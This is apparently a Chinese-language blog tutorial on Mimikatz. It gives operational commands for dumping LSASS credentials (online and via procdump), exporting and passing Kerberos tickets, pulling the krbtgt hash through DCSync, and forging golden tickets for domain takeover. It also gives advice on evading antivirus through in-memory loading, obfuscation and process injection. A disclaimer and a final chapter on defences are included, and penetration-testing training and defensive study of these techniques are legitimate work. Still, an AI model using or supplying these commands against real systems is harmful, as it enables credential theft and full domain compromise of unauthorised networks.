深入解析:Windows内网渗透的“终极魔刃”:Mimikatz使用大全与深度解析

摘要: 在Windows渗透测试的舞台上,Mimikatz无疑是“王座”上的工具。它由法国安全研究员Benjamin Delpy(gentilkiwi)开发,能够直接从Windows操作系统的内存(尤其是LSASS进程)中提取明文密码、哈希、PIN码和Kerberos票据。掌握Mimikatz,意味着掌握了在Windows域环境中横向移动、权限提升乃至最终控制整个域的关键。本文将从基础使用到高级的黄金票据攻击,全方位、多场景地解析Mimikatz的用法与原理,并提供相应的防御策略。

关键词: Mimikatz, 渗透测试, Windows安全, LSASS, 凭证窃取, 黄金票据, Pass-the-Hash, Kerberos


⚠️ 严正声明与道德准则

Mimikatz是一款强大的安全审计工具,但同时也是一款威力巨大的黑客工具。本文所有内容仅用于授权环境下的安全研究、渗透测试、教学和防御体系建设。严禁将本文内容用于任何形式的非法攻击活动。任何滥用本文技术造成的法律后果,由使用者自行承担。请务必在合法的“靶场”或获得明确授权的系统中进行实验。


第一章:初识魔刃——准备与基础操作

1.1 获取与执行

  • 获取: 务必从官方GitHub仓库下载:https://github.com/gentilkiwi/mimikatz。切勿使用来路不明的版本,以防被“黑吃黑”。

  • 反病毒(AV)绕过: 直接在磁盘上运行mimikatz.exe几乎会立刻被任何杀毒软件拦截。在实战中,通常需要:

    • 内存加载: 使用PowerShell的Invoke-Mimikatz脚本,或通过Metasploit的load kiwi命令,直接在内存中加载和执行,避免文件落地。

    • 混淆与定制: 对源码进行修改和重新编译,改变其代码特征。

    • 进程注入: 将Mimikatz注入到其他合法进程中执行。

1.2 核心准备命令

启动Mimikatz后(需要管理员权限),你会看到一个mimikatz #提示符。

  1. 提升权限 (最关键的第一步):

    mimikatz # privilege::debug
    • 作用: 请求SeDebugPrivilege权限。没有这个权限,Mimikatz将无法访问其他高权限进程(如lsass.exe)的内存,后续的核心功能都无法使用。如果此命令失败,通常意味着你当前的管理员权限不足。

  2. 记录日志:

    mimikatz # log sekurlsa_creds.txt
    • 作用: 将后续所有命令的输出结果记录到指定文件中。在信息量巨大时,这是一个非常好的习惯。


第二章:核心威力——本地凭证窃取

这是Mimikatz最广为人知的功能,目标直指Windows的认证核心进程——LSASS (Local Security Authority Subsystem Service)

2.1 在线读取LSASS内存

  • 场景: 你已经获得了目标主机的管理员权限,并成功运行了Mimikatz。

  • 王牌命令:

    mimikatz # sekurlsa::logonpasswords
  • 作用: 该命令会扫描lsass.exe进程的内存,寻找并解析出当前登录和近期登录过的用户的凭证信息。

  • 输出解读:

    • Authentication Id: 登录会话的ID。

    • User: 用户名。

    • Domain: 所属域名或主机名。

    • Password:明文密码。这通常是因为WDigest协议被启用。在Windows Server 2012 R2及以后版本,默认已关闭,但可以通过修改注册表重新开启。

    • NTLM: 用户的NTLM哈希。这是进行**Pass-the-Hash (PtH)**攻击的关键。

    • SHA1: 用户的SHA1哈希。

2.2 离线读取LSASS内存

  • 场景: 不想在目标主机上直接运行Mimikatz(动静太大),或者想在自己的分析机上慢慢研究。

  • 流程:

    1. 在目标主机上Dump LSASS进程:

      PowerShell

      # 使用Windows自带的任务管理器,右键lsass.exe -> 创建转储文件
      # 或者使用Procdump (Sysinternals套件中的工具)
      procdump.exe -accepteula -ma lsass.exe lsass.dmp
    2. lsass.dmp文件下载到你的攻击机。

    3. 在你的攻击机上用Mimikatz加载Dump文件:

      mimikatz # sekurlsa::minidump lsass.dmp
      mimikatz # sekurlsa::logonpasswords
    • 效果: 与在线读取完全相同,但更加隐蔽和安全。


第三章:统治域——Kerberos票据攻击

在Windows域环境中,Mimikatz的威力被发挥到极致。它不再满足于单机密码,而是开始伪造整个域的“身份证”——Kerberos票据。

3.1 票据传递 (Pass-the-Ticket, PtT)

  • 原理: 在Kerberos认证体系中,证明你身份的是票据(Ticket),而不是密码。如果你能从内存中窃取到一个合法用户的票据,你就可以把它注入到自己的会话中,从而冒充该用户访问网络资源。

  • 流程:

    1. 在已控主机上导出票据:

      mimikatz # sekurlsa::tickets /export

      这会将内存中所有Kerberos票据导出为.kirbi文件。

    2. 在另一台主机上注入票据:

      mimikatz # kerberos::ptt 

      注入成功后,打开一个新的命令提示符,你就可以用票据所有者的身份访问文件共享等资源了。

3.2 黄金票据 (Golden Ticket) - 域的“万能钥匙”

这是Mimikatz最强大的攻击,也是每个域管理员的噩梦。

  • 原理: 如果攻击者获得了域控(DC)上krbtgt用户的NTLM哈希,他就可以扮演“票据签发机构”的角色,为任意用户(包括不存在的用户)签发具有任意权限(如域管理员)的TGT(票据授予票据)。这张伪造的TGT就是“黄金票据”。

  • 攻击前提:

    1. 已攻陷域控。

    2. 需要获取以下信息:

      • krbtgt用户的NTLM哈希。

      • 域名全称 (e.g., corp.local)。

      • 域的SID

  • 实战流程:

    1. 在域控上,获取krbtgt哈希和域SID:

      # 使用DCSync,模拟DC从另一台DC复制数据,直接获取krbtgt信息
      mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
    2. 在任意一台域成员机上,伪造并注入黄金票据:

      mimikatz # kerberos::golden /user:EvilAdmin /domain:corp.local /sid:S-1-5-21-xxxx /krbtgt:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /ptt
      • /user:EvilAdmin: 你想伪造的用户名。

      • /domain & /sid: 从DCSync获取的域名和SID。

      • /krbtgt: 从DCSync获取的krbtgt NTLM哈希。

      • /ptt: 生成后立刻注入当前会话。

  • 效果: 执行成功后,打开一个新的cmd.exe,你现在就是EvilAdmin,一个(内存中凭空出现的)域管理员。你可以访问任何域内资源,例如域控的C盘:

    dir \\dc01.corp.local\c$

    黄金票据的默认有效期是10年,这使得它成为一种极其强大的持久化后门。

3.3 白银票据 (Silver Ticket)

  • 原理: 与黄金票据类似,但它伪造的是TGS(服务授予票据),而不是TGT。它只能访问特定的服务(如CIFS文件共享、HTTP服务),但不需要与域控通信,因此更难被检测。

  • 前提: 需要目标服务的服务账户(如计算机账户)的NTLM哈希。


第四章:其他实用模块

  • lsadump::sam: 通过注入lsass,读取并解密SAM数据库,获取本地用户的NTLM哈希。

  • misc::shadowc: 复制SAMSYSTEM注册表hive文件,用于离线破解。

  • dpapi::masterkey: 解密由Windows数据保护API(DPAPI)加密的内容(如浏览器密码)。

  • vault::cred: 读取Windows凭据管理器中存储的凭证。


第五章:防御与缓解措施

如何抵御这把“魔刃”?

  1. 防止凭证在内存中泄露(核心):

    • 启用LSA保护 (RunAsPPL): 在注册表中设置RunAsPPL=1,阻止非受保护进程读取LSASS内存。

    • 启用Credential Guard (Windows 10/Server 2016+): 使用基于虚拟化的安全(VBS)来隔离LSASS,即使是SYSTEM权限也无法直接访问其内存。

    • 禁用WDigest: 确保注册表UseLogonCredential值为0,防止明文密码存储在内存中。

  2. 保护krbtgt账户:

    • 定期修改krbtgt密码,而且要修改两次! (修改一次后,旧哈希仍会在一段时间内有效)。这是应对黄金票据最有效的手段,能让所有已签发的Kerberos票据失效。

  3. 监控与检测(EDR/XDR是关键):

    • 检测LSASS访问: 监控并告警任何非Windows核心进程对lsass.exe的异常访问。

    • PowerShell日志: 启用Script Block LoggingModule Logging来捕获Invoke-Mimikatz等内存中攻击的痕迹。

    • Kerberos票据分析: 监控域内Kerberos票据的签发行为,对有效期超长、加密算法降级或不寻常的票据进行告警。

  4. 遵循最小权限原则: 限制管理员登录的范围,减少高权限凭证在内存中暴露的机会。

结论

Mimikatz是一把双刃剑。对于渗透测试者而言,它是打开Windows内网大门的钥匙;对于防御者而言,它是时刻悬在头顶的达摩克利斯之剑。深刻理解Mimikatz的每一种攻击手法,并部署相应的缓解和检测措施,是每一位现代Windows系统管理员和蓝队成员的必修课。攻防的博弈永不停止,而Mimikatz正是这场博弈中最精彩的章节之一。

posted @ 2025-10-28 11:36  yangykaifa  阅读(7)  评论(0)    收藏  举报